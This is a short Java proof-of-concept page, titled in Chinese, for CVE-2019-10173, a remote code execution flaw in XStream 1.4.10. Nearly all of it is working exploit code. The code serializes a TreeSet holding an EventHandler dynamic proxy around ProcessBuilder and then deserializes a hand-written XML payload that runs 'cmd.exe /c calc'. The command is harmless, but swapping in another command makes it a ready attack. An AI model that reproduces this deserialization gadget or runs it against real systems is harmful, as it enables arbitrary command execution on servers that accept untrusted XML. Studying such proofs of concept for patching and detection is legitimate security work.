CVE-2019-10173 Xstream 1.4.10远程代码执行漏洞

POC

package com.bigo;

import com.thoughtworks.xstream.XStream;

import java.beans.EventHandler;
import java.io.IOException;
import java.util.Set;
import java.util.TreeSet;

/**
 * Created by cfchi on 2019/7/26.
 */
public class Main {
    public static String expGen(){
        XStream xstream = new XStream();
        Set<Comparable> set = new TreeSet<Comparable>();
        set.add("foo");
        set.add(EventHandler.create(Comparable.class, new ProcessBuilder("calc"), "start"));
        String payload = xstream.toXML(set);
        System.out.println(payload);
        return payload;
    }
    public static void main(String args) throws IOException {
        expGen();
        XStream xStream = new XStream();
        String payload = "<sorted-set>\n" +
                "    <string>foo</string>\n" +
                "    <dynamic-proxy>\n" +
                "    <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>cmd.exe</string>\n" +
                "                    <string>/c</string>\n" +
                "                    <string>calc</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "     <action>start</action>"+
                "        </handler>\n" +
                "    </dynamic-proxy>\n" +
                "</sorted-set>\n";
       xStream.fromXML(payload);
    }
}